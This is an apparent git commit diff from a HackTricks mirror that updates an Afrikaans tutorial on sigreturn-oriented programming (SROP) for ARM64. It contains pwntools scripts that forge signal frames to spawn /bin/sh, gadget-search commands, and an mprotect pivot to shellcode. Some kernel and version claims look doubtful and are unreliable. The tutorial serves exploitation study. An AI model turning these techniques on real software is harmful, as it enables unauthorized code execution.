mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
1e6ff36078
commit
8190d60e1a
@ -1,4 +1,4 @@
|
||||
# SROP - ARM64
|
||||
# {{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -136,7 +136,7 @@ In die afdeling **`vdso`** is dit moontlik om 'n oproep na **`sigreturn`** in di
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Daarom, as dit gelek is, is dit moontlik om **hierdie adres te gebruik om toegang tot 'n `sigreturn`** te verkry as die binêre dit nie laai nie:
|
||||
Daarom, as dit gelek word, is dit moontlik om **hierdie adres te gebruik om toegang tot 'n `sigreturn`** te verkry as die binêre dit nie laai nie:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -177,4 +177,53 @@ En om die adres van `/bin/sh` te omseil, kan jy verskeie omgewing veranderlikes
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Vind `sigreturn` gadgets outomaties (2023-2025)
|
||||
|
||||
Op moderne verspreidings word die `sigreturn` trampoline steeds deur die **vDSO** bladsy uitgevoer, maar die presiese offset kan oor kernel weergawes en bouvlagte soos BTI (`+branch-protection`) of PAC verskil. Outomatisering van sy ontdekking voorkom dat offsets hard-gecodeer word:
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
Both tools verstaan **AArch64** kodering en sal kandidaat `mov x8, 0x8b ; svc #0` volgorde lys wat as die *SROP gadget* gebruik kan word.
|
||||
|
||||
> Nota: Wanneer binêre saamgekom word met **BTI** is die eerste instruksie van elke geldige indirekte takteiken `bti c`. `sigreturn` trampolines wat deur die linker geplaas is, sluit reeds die korrekte BTI landing pad in, sodat die gadget bruikbaar bly vanaf onprivilegieerde kode.
|
||||
|
||||
## Ketting SROP met ROP (pivot via `mprotect`)
|
||||
|
||||
`rt_sigreturn` laat ons toe om *alle* algemene registers en `pstate` te beheer. 'n Algemene patroon op x86 is: 1) gebruik SROP om `mprotect` aan te roep, 2) pivot na 'n nuwe uitvoerbare stapel wat shell-code bevat. Dieselfde idee werk op ARM64:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
frame.x0 = 0x400000 # page-aligned stack address
|
||||
frame.x1 = 0x2000 # size
|
||||
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Na die stuur van die raam kan jy 'n tweede fase stuur wat rou shell-code bevat by `0x400000+0x100`. Omdat **AArch64** *PC-relative* adressering gebruik, is dit dikwels meer gerieflik as om groot ROP-kettings te bou.
|
||||
|
||||
## Kernel validasie, PAC & Skadu-stapels
|
||||
|
||||
Linux 5.16 het strenger validasie van gebruikersruimte seinraamwerke bekendgestel (commit `36f5a6c73096`). Die kernel kontroleer nou:
|
||||
|
||||
* `uc_flags` moet `UC_FP_XSTATE` bevat wanneer `extra_context` teenwoordig is.
|
||||
* Die gereserveerde woord in `struct rt_sigframe` moet nul wees.
|
||||
* Elke pointer in die *extra_context* rekord is uitgelijnd en wys binne die gebruikersadresruimte.
|
||||
|
||||
`pwntools>=4.10` vervaardig outomaties voldoenende rame, maar as jy dit handmatig bou, maak seker om *gereserveer* te nul-initialiseer en die SVE rekord te omseil tensy jy dit regtig nodig het—anders sal `rt_sigreturn` `SIGSEGV` lewer in plaas van terug te keer.
|
||||
|
||||
Begin met hoofstroom Android 14 en Fedora 38, word gebruikersland standaard saamgecompileer met **PAC** (*Pointer Authentication*) en **BTI** geaktiveer (`-mbranch-protection=standard`). *SROP* self word nie beïnvloed nie omdat die kernel `PC` direk van die vervaardigde raam oorskryf, wat die geverifieerde LR wat op die stapel gestoor is, omseil; egter, enige **volgende ROP-ketting** wat indirekte takke uitvoer, moet na BTI-geaktiveerde instruksies of PACed adresse spring. Hou dit in gedagte wanneer jy gadgets kies.
|
||||
|
||||
Skadu-oproep-stapels wat in ARMv8.9 bekendgestel is (en reeds op ChromeOS 1.27+ geaktiveer is), is 'n kompilervlak mitigasie en *interfereer nie* met SROP nie omdat geen terugkeer instruksies uitgevoer word—die vloei van beheer word deur die kernel oorgedra.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [Linux arm64 seinhantering dokumentasie](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "AArch64 takbeskerming kom na GCC en glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user